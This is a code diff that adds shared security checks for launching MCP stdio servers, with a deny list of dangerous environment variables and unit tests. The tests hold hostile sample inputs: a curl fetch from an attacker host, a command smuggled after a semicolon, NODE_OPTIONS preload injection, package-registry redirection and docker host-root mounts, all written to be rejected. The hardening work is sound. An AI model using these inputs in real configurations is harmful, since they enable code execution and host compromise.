+def parse_mcp_shell_wrapper(command: str, args: list[str]) -> tuple[str, list[str]] | None:
+    """Return a shell wrapper's canonical executable and argv payload."""
+    command = _base_command(command)
+    for index, arg in enumerate(args):
+        arg_lower = arg.lower()
+        if command == "cmd":
+            if arg_lower != "/c" or index + 1 >= len(args):
+                continue
+            payload = args[index + 1 :]
+            if any(char in " ".join(payload) for char in SHELL_CONTROL_CHARS):
+                _raise_disallowed(command, " ".join(payload))
+            return split_mcp_stdio_command(payload[0], payload[1:])
+
+        is_exec_flag = arg_lower.startswith("-") and not arg_lower.startswith("--") and "c" in arg_lower[1:]
+        if not is_exec_flag:
+            continue
+
+        # bash/sh accept the command attached to -c or as the next token. Any
+        # later tokens become $0/$1 rather than additional command arguments.
+        option_cluster = arg[1:]
+        attached_command = option_cluster[option_cluster.lower().index("c") + 1 :]
+        if attached_command:
+            return _parse_shell_payload(command, attached_command)
+        if index + 1 < len(args):
+            return _parse_shell_payload(command, args[index + 1])
+    return None
+
+
+def validate_mcp_stdio_source_policy(command: str | None, args: list[str] | None) -> None:
+    """Reject package-source redirection and Docker host access.
+
+    ``uvx --from`` and package-addition flags remain available only for plain
+    package requirements resolved through the default trusted index. Direct
+    URL, VCS, and filesystem requirements do not match that grammar.
+    """
+    if not command:
+        return
+    base_command, combined_args = _split_command(command, args)
+    if base_command == "uvx":
+        _validate_uvx_args(combined_args)
+    elif base_command == "npx":
+        _validate_npx_args(combined_args)
+    elif base_command == "docker":
+        _validate_docker_args(combined_args)
diff --git a/src/lfx/src/lfx/base/mcp/util.py b/src/lfx/src/lfx/base/mcp/util.py
index 4e379ecd6a9f..def7e1ef5cfd 100644
--- a/src/lfx/src/lfx/base/mcp/util.py
+++ b/src/lfx/src/lfx/base/mcp/util.py
@@ -23,6 +23,8 @@
 from pydantic import BaseModel
 
 from lfx.base.agents.utils import maybe_unflatten_dict
+from lfx.base.mcp import security as mcp_security
+from lfx.base.mcp.security import validate_mcp_stdio_config
 from lfx.log.logger import logger
 from lfx.schema.data import Data
 from lfx.schema.json_schema import create_input_schema_from_json_schema
@@ -41,82 +43,18 @@
 HTTP_UNAUTHORIZED = 401
 HTTP_FORBIDDEN = 403
 
-# SECURITY: Environment variables that enable code injection via approved MCP
-# stdio commands. All comparisons are case-insensitive (see is_dangerous_mcp_env_var).
-#
-# The stdio launcher runs servers with shell=False (no bash -c / cmd /c wrapper;
-# see MCPStdioClient._connect_to_server), which structurally neutralizes the
-# shell-startup vectors below. They are retained as defense-in-depth: a fail-safe
-# if a shell wrapper is ever reintroduced, and to keep write-time validation
-# (MCPServerConfig) aligned with the launch-time backstop. The loader and
-# interpreter entries remain load-bearing regardless of the shell, because the
-# dynamic linker / target interpreter honors them directly.
-DANGEROUS_MCP_ENV_VARS = frozenset(
-    {
-        # -- Loader / interpreter injection (dangerous even with shell=False) --
-        # Shared-object / dylib injection (arbitrary native code in any process)
-        "ld_preload",
-        "ld_library_path",
-        "ld_audit",
-        "dyld_insert_libraries",
-        "dyld_library_path",
-        # glibc iconv module injection (loads arbitrary .so via iconv)
-        "gconv_path",
-        # Command resolution override (redirects which binary is exec'd)
-        "path",
-        # Node.js code injection (honored by the node runtime itself)
-        "node_options",
-        "node_extra_ca_certs",
-        # Python code injection (honored by the python runtime itself)
-        "pythonstartup",
-        "pythonpath",
-        # Home / config directory redirection (loads attacker-controlled configs)
-        "home",
-        "xdg_config_home",
-        "xdg_data_home",
-        # Temp directory redirection
-        "tmpdir",
-        "tmp",
-        "temp",
-        # DNS / network manipulation
-        "hostaliases",
-        "localdomain",
-        "res_options",
-        # Locale / getconf injection (can load arbitrary .so on some glibc)
-        "getconf_dir",
-        # -- Shell-startup vectors (defense-in-depth; inert while shell=False) --
-        # Shell startup, option, and tracing injection
-        "bash_env",
-        "env",
-        "bash_func_",
-        "shellopts",
-        "bashopts",
-        "ps4",
-        # Shell word-splitting / globbing manipulation
-        "ifs",
-        "cdpath",
-    }
-)
+# Backward-compatible export; the canonical policy now lives in lfx.base.mcp.security.
+DANGEROUS_MCP_ENV_VARS = mcp_security.DANGEROUS_MCP_ENV_VARS
+is_dangerous_mcp_env_var = mcp_security.is_dangerous_mcp_env_var
 
 # MCP Session Manager constants - lazy loaded
 _mcp_settings_cache: dict[str, Any] = {}
 
 
-def is_dangerous_mcp_env_var(key: str) -> bool:
-    lower_key = key.lower()
-    return lower_key in DANGEROUS_MCP_ENV_VARS or lower_key.startswith("bash_func_")
-
-
 def _validate_mcp_stdio_env(env: dict[str, str] | None) -> dict[str, str]:
-    if env is None:
-        return {}
-
-    for key in env:
-        if is_dangerous_mcp_env_var(key):
-            msg = f"Environment variable '{key}' is not allowed for MCP stdio servers"
-            raise ValueError(msg)
-
-    return env
+    """Backward-compatible env-only wrapper around the shared stdio policy."""
+    validate_mcp_stdio_config(None, None, env)
+    return env or {}
 
 
 def _get_mcp_setting(key: str, default: Any = None) -> Any:
@@ -1667,8 +1605,8 @@ async def _connect_to_server(self, command_str: str, env: dict[str, str] | None
         shell metacharacters, ``IFS`` word-splitting, ``CDPATH`` redirection,
         ``BASH_ENV`` / ``ENV`` / ``BASH_FUNC_*`` startup injection, and
         ``PS4`` / ``SHELLOPTS`` xtrace abuse.  None of those can fire because no
-        shell is ever spawned.  The :func:`_validate_mcp_stdio_env` backstop
-        still rejects loader and interpreter env vars (``LD_PRELOAD``,
+        shell is ever spawned.  The shared :func:`validate_mcp_stdio_config`
+        backstop still rejects loader and interpreter env vars (``LD_PRELOAD``,
         ``DYLD_*``, ``GCONV_PATH``, ``PYTHONPATH``, ``NODE_OPTIONS``, ...) which
         remain dangerous regardless of the shell because they are honored by the
         dynamic linker or the target interpreter itself.
@@ -1680,7 +1618,8 @@ async def _connect_to_server(self, command_str: str, env: dict[str, str] | None
             msg = "MCP stdio command is empty"
             raise ValueError(msg)
 
-        safe_env = _validate_mcp_stdio_env(env)
+        validate_mcp_stdio_config(command_parts[0], command_parts[1:], env)
+        safe_env = env or {}
         env_data: dict[str, str] = {"DEBUG": "true", "PATH": os.environ["PATH"], **safe_env}
 
         # shell=False: exec the binary directly with structured args. The MCP SDK
@@ -2230,6 +2169,9 @@ async def update_tools(
     if mode == "Stdio":
         args = list(server_config.get("args", []))
         env = server_config.get("env", {})
+        # Configs embedded in flows/tweaks bypass the REST MCPServerConfig model. Enforce
+        # the same policy on every resolved stdio config immediately before it is used.
+        validate_mcp_stdio_config(command, args, env)
         # For stdio mode, inject component headers as --headers CLI args.
         # This enables passing headers through proxy tools like mcp-proxy
         # that forward them to the upstream HTTP server.
@@ -2273,7 +2215,7 @@ async def update_tools(
                     args = args[:last_positional_idx] + extra_args + args[last_positional_idx:]
                 else:
                     args.extend(extra_args)
-        full_command = shlex.join([*shlex.split(command), *args])
+        full_command = shlex.join([command, *args])
         tools = await mcp_stdio_client.connect_to_server(full_command, env)
         client = mcp_stdio_client
     elif mode in ["Streamable_HTTP", "SSE"]:
diff --git a/src/lfx/src/lfx/components/deactivated/mcp_stdio.py b/src/lfx/src/lfx/components/deactivated/mcp_stdio.py
index 26caa1fac71d..7a8dffe8f95f 100644
--- a/src/lfx/src/lfx/components/deactivated/mcp_stdio.py
+++ b/src/lfx/src/lfx/components/deactivated/mcp_stdio.py
@@ -3,6 +3,8 @@
 from langchain_core.tools import StructuredTool
 from mcp import types
 
+from lfx.base.mcp.security import validate_mcp_stdio_config
+from lfx.base.mcp.source_policy import split_mcp_stdio_command
 from lfx.base.mcp.util import (
     MCPStdioClient,
     create_input_schema_from_json_schema,
@@ -32,7 +34,7 @@ class MCPStdio(Component):
             name="command",
             display_name="mcp command",
             info="mcp command",
-            value="uvx mcp-sse-shim@latest",
+            value="uvx mcp-sse-shim",
             tool_mode=True,
         ),
     ]
@@ -43,6 +45,14 @@ class MCPStdio(Component):
 
     async def build_output(self) -> list[Tool]:
         if self.client.session is None:
+            # This legacy component bypasses update_tools and reads its command directly from
+            # the saved flow. Normalize its historical packed-string input before applying the
+            # same shared executable/argv policy used by current structured configurations.
+            command, args = split_mcp_stdio_command(self.command, None)
+            if not command:
+                msg = "MCP stdio command is empty"
+                raise ValueError(msg)
+            validate_mcp_stdio_config(command, args, None)
             self.tools = await self.client.connect_to_server(self.command)
 
         tool_list = []
diff --git a/src/lfx/tests/unit/mcp/test_mcp_runtime_config_validation.py b/src/lfx/tests/unit/mcp/test_mcp_runtime_config_validation.py
new file mode 100644
index 000000000000..eb0c3bf0e755
--- /dev/null
+++ b/src/lfx/tests/unit/mcp/test_mcp_runtime_config_validation.py
@@ -0,0 +1,255 @@
+"""Execution-boundary validation for resolved MCP server configurations."""
+
+import shlex
+from unittest.mock import AsyncMock, MagicMock
+
+import pytest
+from lfx.base.mcp.security import MAX_SHELL_WRAPPER_DEPTH, MCPStdioSecurityError, validate_mcp_stdio_config
+from lfx.base.mcp.util import MCPStdioClient, update_tools
+from lfx.components.deactivated.mcp_stdio import MCPStdio
+
+
+@pytest.mark.parametrize(
+    ("server_config", "error_match"),
+    [
+        (
+            {"mode": "Stdio", "command": "curl", "args": ["https://attacker.invalid/payload"]},
+            "Command 'curl' is not allowed",
+        ),
+        (
+            {"mode": "Stdio", "command": "node", "args": ["server.js; touch /tmp/pwned"]},
+            "dangerous shell metacharacter",
+        ),
+        (
+            {
+                "mode": "Stdio",
+                "command": "node",
+                "args": ["server.js"],
+                "env": {"NODE_OPTIONS": "--require=/tmp/pwn.js"},
+            },
+            "Environment variable 'NODE_OPTIONS' is not allowed",
+        ),
+        (
+            {
+                "mode": "Stdio",
+                "command": "uvx",
+                "args": ["mcp-server"],
+                "env": {"UV_DEFAULT_INDEX": "https://packages.example.invalid/simple"},
+            },
+            "Environment variable 'UV_DEFAULT_INDEX' is not allowed",
+        ),
+        (
+            {
+                "mode": "Stdio",
+                "command": "npx",
+                "args": ["--registry=https://packages.example.invalid", "@example/mcp-server"],
+            },
+            "not allowed",
+        ),
+        (
+            {"mode": "Stdio", "command": "bash", "args": ["-lc", "python -c pass"]},
+            "only allowed with shell wrappers",
+        ),
+        (
+            {"mode": "Stdio", "command": "sh", "args": ["-cnode -e pass"]},
+            "Argument '-e' is not allowed",
+        ),
+        (
+            {"mode": "Stdio", "command": "cmd", "args": ["/c", "node -e pass"]},
+            "Argument '-e' is not allowed",
+        ),
+        (
+            {
+                "mode": "Stdio",
+                "command": "bash",
+                "args": ["-c", "npx --registry=https://packages.example.invalid @example/mcp-server"],
+            },
+            "not allowed",
+        ),
+        (
+            {
+                "mode": "Stdio",
+                "command": "docker",
+                "args": ["run", "--mount", "type=bind,source=/,target=/host", "mcp-image"],
+            },
+            "not allowed",
+        ),
+    ],
+)
+async def test_update_tools_rejects_unsafe_stdio_config_before_connecting(server_config, error_match):
+    """Flow/tweak configs must receive the same policy as stored configs before use."""
+    stdio_client = AsyncMock()
+
+    with pytest.raises(ValueError, match=error_match):
+        await update_tools("embedded-server", server_config, mcp_stdio_client=stdio_client)
+
+    stdio_client.connect_to_server.assert_not_awaited()
+
+
+async def test_update_tools_allows_safe_stdio_config():
+    """The runtime gate must preserve legitimate stdio configs."""
+    stdio_client = AsyncMock()
+    stdio_client.connect_to_server.return_value = []
+
+    await update_tools(
+        "safe-stdio",
+        {
+            "mode": "Stdio",
+            "command": "uvx",
+            "args": ["mcp-server-fetch"],
+            "env": {"API_KEY": "test-value"},  # pragma: allowlist secret
+        },
+        mcp_stdio_client=stdio_client,
+    )
+
+    stdio_client.connect_to_server.assert_awaited_once_with(
+        "uvx mcp-server-fetch",
+        {"API_KEY": "test-value"},  # pragma: allowlist secret
+    )
+
+
+async def test_update_tools_preserves_executable_path_with_spaces():
+    """An executable path remains one argv entry when the command is serialized."""
+    stdio_client = AsyncMock()
+    stdio_client.connect_to_server.return_value = []
+    command = "/opt/Node Tools/node"
+
+    await update_tools(
+        "safe-path",
+        {"mode": "Stdio", "command": command, "args": ["server.js"]},
+        mcp_stdio_client=stdio_client,
+    )
+
+    stdio_client.connect_to_server.assert_awaited_once_with(shlex.join([command, "server.js"]), {})
+
+
+async def test_update_tools_does_not_apply_stdio_policy_to_streamable_http():
+    """A safe Streamable HTTP config must remain on the HTTP transport path."""
+    stdio_client = AsyncMock()
+    http_client = AsyncMock()
+    http_client.connect_to_server.return_value = []
+
+    await update_tools(
+        "safe-http",
+        {"mode": "Streamable_HTTP", "url": "https://mcp.example.com/mcp"},
+        mcp_stdio_client=stdio_client,
+        mcp_streamable_http_client=http_client,
+    )
+
+    stdio_client.connect_to_server.assert_not_awaited()
+    http_client.connect_to_server.assert_awaited_once_with(
+        "https://mcp.example.com/mcp",
+        headers={},
+        verify_ssl=True,
+    )
+
+
+@pytest.mark.parametrize(
+    ("command", "env", "error_match"),
+    [
+        ("curl https://attacker.invalid/payload", None, "Command 'curl' is not allowed"),
+        ("node 'server.js; touch /tmp/pwned'", None, "dangerous shell metacharacter"),
+        ("node server.js", {"NODE_OPTIONS": "--require=/tmp/pwn.js"}, "NODE_OPTIONS"),
+        (
+            "uvx mcp-server",
+            {"PIP_INDEX_URL": "https://packages.example.invalid/simple"},
+            "PIP_INDEX_URL",
+        ),
+        (
+            "npx --registry=https://packages.example.invalid @example/mcp-server",
+            None,
+            "not allowed",
+        ),
+        (
+            "docker run --mount type=bind,source=/,target=/host mcp-image",
+            None,
+            "not allowed",
+        ),
+    ],
+)
+async def test_stdio_client_revalidates_config_immediately_before_spawn(command, env, error_match):
+    """The final client boundary must enforce every shared policy before session creation."""
+    client = MCPStdioClient()
+    get_session = AsyncMock()
+    client._get_or_create_session = get_session  # type: ignore[method-assign]
+
+    with pytest.raises(ValueError, match=error_match):
+        await client._connect_to_server(command, env)
+
+    get_session.assert_not_awaited()
+    assert client._connection_params is None
+
+
+async def test_stdio_client_preserves_safe_package_and_provider_credentials():
+    """Trusted registry packages and provider credentials remain valid at pre-spawn."""
+    client = MCPStdioClient()
+    session = MagicMock()
+    session.list_tools = AsyncMock(return_value=MagicMock(tools=[]))
+    client._get_or_create_session = AsyncMock(return_value=session)  # type: ignore[method-assign]
+
+    await client._connect_to_server(
+        "uvx --from lfx lfx-mcp",
+        {"GITHUB_PERSONAL_ACCESS_TOKEN": "provider-token"},  # pragma: allowlist secret
+    )
+
+    assert client._connection_params.command == "uvx"
+    assert client._connection_params.args == ["--from", "lfx", "lfx-mcp"]
+    assert client._connection_params.env["GITHUB_PERSONAL_ACCESS_TOKEN"] == "provider-token"  # noqa: S105
+
+
+async def test_stdio_client_preserves_executable_path_with_spaces():
+    """The immediate pre-spawn gate accepts one quoted executable path and structured args."""
+    client = MCPStdioClient()
+    session = MagicMock()
+    session.list_tools = AsyncMock(return_value=MagicMock(tools=[]))
+    client._get_or_create_session = AsyncMock(return_value=session)  # type: ignore[method-assign]
+    command = "/opt/Node Tools/node"
+
+    await client._connect_to_server(shlex.join([command, "server.js"]), None)
+
+    assert client._connection_params.command == command
+    assert client._connection_params.args == ["server.js"]
+
+
+def test_shell_wrapper_nesting_is_bounded():
+    payload = "node server.js"
+    for _ in range(MAX_SHELL_WRAPPER_DEPTH):
+        payload = f"sh -c {shlex.quote(payload)}"
+
+    with pytest.raises(MCPStdioSecurityError, match="nesting exceeds"):
+        validate_mcp_stdio_config("sh", ["-c", payload], None)
+
+
+@pytest.mark.parametrize(
+    "command",
+    [
+        "curl https://attacker.invalid/payload",
+        "bash -lc 'python -c pass'",
+        "sh '-cnode -e pass'",
+        "cmd /c node -e pass",
+    ],
+)
+async def test_legacy_stdio_component_validates_saved_command_before_connecting(command):
+    """The legacy direct-client path must not bypass the shared command policy."""
+    component = MCPStdio()
+    component.command = command
+    component.client = AsyncMock()
+    component.client.session = None
+
+    with pytest.raises(ValueError, match=r"not allowed|only allowed"):
+        await component.build_output()
+
+    component.client.connect_to_server.assert_not_awaited()
+
+
+async def test_legacy_stdio_component_normalizes_safe_default_before_connecting():
+    """The deprecated packed-string default remains usable through the shared policy."""
+    component = MCPStdio()
+    component.command = "uvx mcp-sse-shim"
+    component.client = AsyncMock()
+    component.client.session = None
+    component.client.connect_to_server.return_value = []
+
+    assert await component.build_output() == []
+
+    component.client.connect_to_server.assert_awaited_once_with("uvx mcp-sse-shim")
diff --git a/src/lfx/tests/unit/mcp/test_stdio_source_policy.py b/src/lfx/tests/unit/mcp/test_stdio_source_policy.py
new file mode 100644
index 000000000000..63ab6e0a72c6
--- /dev/null
+++ b/src/lfx/tests/unit/mcp/test_stdio_source_policy.py
@@ -0,0 +1,94 @@
+import pytest
+from lfx.base.mcp.security import validate_mcp_stdio_config
+from lfx.base.mcp.source_policy import (
+    is_package_manager_config_env_var,
+    validate_mcp_stdio_source_policy,
+)
+
+
+def _validate_policy(command, args):
+    if command in {"sh", "bash", "cmd"}:
+        validate_mcp_stdio_config(command, args, None)
+    else:
+        validate_mcp_stdio_source_policy(command, args)
+
+
+@pytest.mark.parametrize(
+    "env_var",
+    [
+        "NPM_CONFIG_REGISTRY",
+        "npm_config_userconfig",
+        "UV_DEFAULT_INDEX",
+        "uv_index_url",
+        "PIP_INDEX_URL",
+        "pip_extra_index_url",
+    ],
+)
+def test_package_manager_configuration_namespaces_are_reserved(env_var):
+    assert is_package_manager_config_env_var(env_var)
+
+
+@pytest.mark.parametrize(
+    ("command", "args"),
+    [
+        ("uvx", ["--default-index", "https://packages.example.invalid/simple", "mcp-server"]),
+        ("uvx", ["--index-url=https://packages.example.invalid/simple", "mcp-server"]),
+        ("uvx", ["--from", "git+https://code.example.invalid/server.git", "mcp-server"]),
+        ("uvx", ["--from", "server.whl", "mcp-server"]),
+        ("uvx", ["-wgit+https://code.example.invalid/addon.git", "mcp-server"]),
+        ("uvx", ["https://packages.example.invalid/server.whl"]),
+        ("npx", ["--registry=https://packages.example.invalid", "@example/mcp-server"]),
+        ("npx", ["--package", "git+https://code.example.invalid/server.git"]),
+        ("npx", ["https://packages.example.invalid/server.tgz"]),
+        ("npx", ["server.tgz"]),
+        ("docker", ["run", "-v", "/:/host", "mcp-server"]),
+        ("docker", ["run", "-iv", "/:/host", "mcp-server"]),
+        ("docker", ["run", "--volume=/var/run:/host/run", "mcp-server"]),
+        ("docker", ["run", "--mount", "type=bind,source=/,target=/host", "mcp-server"]),
+        ("docker", ["run", "--volumes-from=other", "mcp-server"]),
+        ("docker", ["run", "--device", "/dev/example", "mcp-server"]),
+        ("docker", ["run", "--device=/dev/example", "mcp-server"]),
+        ("docker", ["run", "--device-cgroup-rule", "b 8:0 rwm", "mcp-server"]),
+        ("docker", ["run", "--privileged", "mcp-server"]),
+        ("docker", ["run", "--cap-add", "SYS_ADMIN", "mcp-server"]),
+        ("docker", ["run", "--pid", "host", "mcp-server"]),
+        ("docker", ["run", "--ipc=container:other", "mcp-server"]),
+        ("docker", ["run", "--uts", "host", "mcp-server"]),
+        ("docker", ["run", "--network", "host", "mcp-server"]),
+        ("docker", ["run", "--net=container:other", "mcp-server"]),
+        ("docker", ["run", "--security-opt", "seccomp=unconfined", "mcp-server"]),
+        ("docker", ["run", "--security-opt=apparmor=unconfined", "mcp-server"]),
+        ("docker", ["run", "--security-opt", "label:disable", "mcp-server"]),
+        ("sh", ["-c", "uvx --default-index https://packages.example.invalid/simple mcp-server"]),
+        ("bash", ["-lc", "npx --registry=https://packages.example.invalid @example/mcp-server"]),
+        ("cmd", ["/c", "docker", "run", "--mount", "type=bind,source=/,target=/host", "mcp-server"]),
+        ("sh", ["-c", "true; uvx --index-url https://packages.example.invalid/simple mcp-server"]),
+        ("sh", ["-c", "exec uvx --index-url https://packages.example.invalid/simple mcp-server"]),
+    ],
+)
+def test_source_redirects_and_docker_host_access_are_rejected(command, args):
+    with pytest.raises(ValueError, match=r"not allowed|dangerous shell metacharacter"):
+        _validate_policy(command, args)
+
+
+@pytest.mark.parametrize(
+    ("command", "args"),
+    [
+        ("uvx", ["--from", "lfx", "lfx-mcp"]),
+        ("uvx", ["--from=lfx==1.10.3", "lfx-mcp"]),
+        ("uvx", ["-wlfx", "mcp-server"]),
+        ("uvx", ["mcp-proxy", "--transport", "streamablehttp", "https://mcp.example.com"]),
+        ("npx", ["-y", "@modelcontextprotocol/server-filesystem", "/workspace"]),
+        ("npx", ["@example/mcp-server@1.2.3", "--endpoint", "https://mcp.example.com"]),
+        ("docker", ["run", "--rm", "-i", "--entrypoint", "mcp-server", "-u", "1000", "mcp-image"]),
+        ("docker", ["run", "--rm", "-i", "--network", "bridge", "mcp-image"]),
+        ("docker", ["run", "--rm", "-i", "--network", "mcp-network", "mcp-image"]),
+        ("docker", ["run", "--rm", "-i", "--ipc", "private", "mcp-image"]),
+        ("docker", ["run", "--rm", "-i", "--security-opt", "no-new-privileges", "mcp-image"]),
+        ("sh", ["-c", "uvx --from lfx lfx-mcp"]),
+        ("bash", ["-c", "python -m mcp_server"]),
+        ("cmd", ["/c", "npx", "@example/mcp-server", "--endpoint", "https://mcp.example.com"]),
+    ],
+)
+def test_trusted_registry_packages_and_isolated_docker_args_are_allowed(command, args):
+    _validate_policy(command, args)